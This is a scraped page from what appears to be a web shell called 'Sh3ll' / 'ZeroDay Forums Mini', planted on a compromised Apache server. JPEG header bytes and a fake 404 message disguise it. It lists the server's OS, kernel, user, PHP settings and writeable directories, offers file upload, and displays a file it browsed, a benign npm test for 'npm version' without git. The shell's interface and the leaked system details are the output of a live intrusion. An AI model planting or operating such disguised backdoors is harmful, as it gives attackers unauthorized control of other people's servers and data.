ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/deps/npm/test/tap/version-no-git.js
var common = require('../common-tap.js')
var test = require('tap').test
var npm = require('../../')
var path = require('path')
var fs = require('fs')
var mkdirp = require('mkdirp')
var requireInject = require('require-inject')

var pkg = common.pkg
var cache = common.cache
var gitDir = path.resolve(pkg, '.git')

test('npm version <semver> in a git repo without the git binary', function (t) {
  setup()
  npm.load({cache: cache, registry: common.registry}, function () {
    var version = requireInject('../../lib/version', {
      which: function (cmd, cb) {
        process.nextTick(function () {
          cb(new Error('ENOGIT!'))
        })
      }
    })

    version(['patch'], function (err) {
      if (!t.error(err)) return t.end()
      var p = path.resolve(pkg, 'package')
      var testPkg = require(p)
      t.equal('0.0.1', testPkg.version, '\'' + testPkg.version + '\' === \'0.0.1\'')
      t.end()
    })
  })
})

function setup () {
  mkdirp.sync(gitDir)
  fs.writeFileSync(path.resolve(pkg, 'package.json'), JSON.stringify({
    author: 'Terin Stock',
    name: 'version-no-git-test',
    version: '0.0.0',
    description: "Test for npm version if git binary doesn't exist"
  }), 'utf8')
  process.chdir(pkg)
}

ZeroDay Forums Mini